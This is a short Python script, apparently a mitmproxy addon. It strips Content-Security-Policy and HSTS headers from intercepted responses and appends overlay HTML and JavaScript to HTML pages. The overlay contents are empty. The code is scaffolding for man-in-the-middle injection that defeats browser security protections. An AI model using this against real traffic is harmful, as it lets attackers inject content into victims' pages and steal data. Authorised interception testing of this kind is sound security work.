OVERLAY_HTML = b"" OVERLAY_JS = b"" def remove_header(response, header_name): if header_name in response.headers: del response.headers[header_name] def response(flow): # remove security headers in case they're present remove_header(flow.response, "Content-Security-Policy") remove_header(flow.response, "Strict-Transport-Security") # if content-type type isn't available, ignore if "content-type" not in flow.response.headers: return # if it's HTML & response code is 200 OK, then inject the overlay snippet (HTML & JS) if "text/html" in flow.response.headers["content-type"] and flow.response.status_code == 200: flow.response.content += OVERLAY_HTML flow.response.content += OVERLAY_JS